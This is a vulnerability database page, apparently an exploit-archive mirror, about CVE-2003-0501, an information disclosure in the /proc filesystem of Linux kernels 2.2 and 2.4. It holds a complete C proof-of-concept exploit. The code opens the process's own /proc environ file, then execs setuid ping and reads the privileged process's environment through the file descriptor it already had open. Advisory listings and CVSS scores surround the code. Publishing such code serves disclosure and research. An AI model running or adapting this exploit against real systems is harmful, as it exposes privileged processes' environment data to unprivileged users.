Linux Kernel 2.2.x/2.4.x - '/proc' Filesystem Information Disclosure
Potential information disclosure in Linux /proc filesystem may expose sensitive data from setuid apps.
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec | |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec | |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec | |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec | |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec | |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec | |
| CAN-2003-0501 | 6 Aug 202410:33 | – | cve | |
| CVE-2003-0501 | 4 Jul 200304:00 | – | cve | |
| CVE-2003-0501 | 4 Jul 200304:00 | – | cvelist | |
| [SECURITY] [DSA 423-1] New Linux 2.4.17 packages fix several problems (ia64) | 15 Jan 200407:49 | – | debian |
10
/*
source: https://www.securityfocus.com/bid/8002/info
A potential information disclosure vulnerability has been reported for the Linux /proc filesystem, specifically when invoking setuid applications. As a result, an unprivileged user may be able to read the contents of a setuid application's environment data. This could potentially, although unlikely, result in the disclosure of sensitive information, such as restricted file path information.
*/
/****************************************************************
* *
* Linux /proc information disclosure PoC *
* by IhaQueR *
* *
****************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
static char buf[128];
void fatal(const char *msg)
{
printf("\n");
if (!errno) {
fprintf(stderr, "FATAL: %s\n", msg);
} else {
perror(msg);
}
printf("\n");
fflush(stdout);
fflush(stderr);
exit(129);
}
int main()
{
int fd, r;
char c;
sprintf(buf, "/proc/%d/environ", getpid());
fd = open(buf, O_RDONLY);
if (fd > 0) {
sprintf(buf, "/proc/%d", getpid());
if (fork()) {
printf("\nparent executing setuid\n");
fflush(stdout);
execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
fatal("execl");
} else {
sleep(1);
printf("\nchild reads parent's proc:\n");
fflush(stdout);
while (1) {
r = read(fd, &c, 1);
if (r <= 0)
break;
printf("%c", c);
}
printf("\n\nContent of %s\n", buf);
fflush(stdout);
execl("/bin/ls", "ls", "-l", buf, NULL);
}
} else
fatal("open proc");
printf("\n");
fflush(stdout);
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Nov 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00829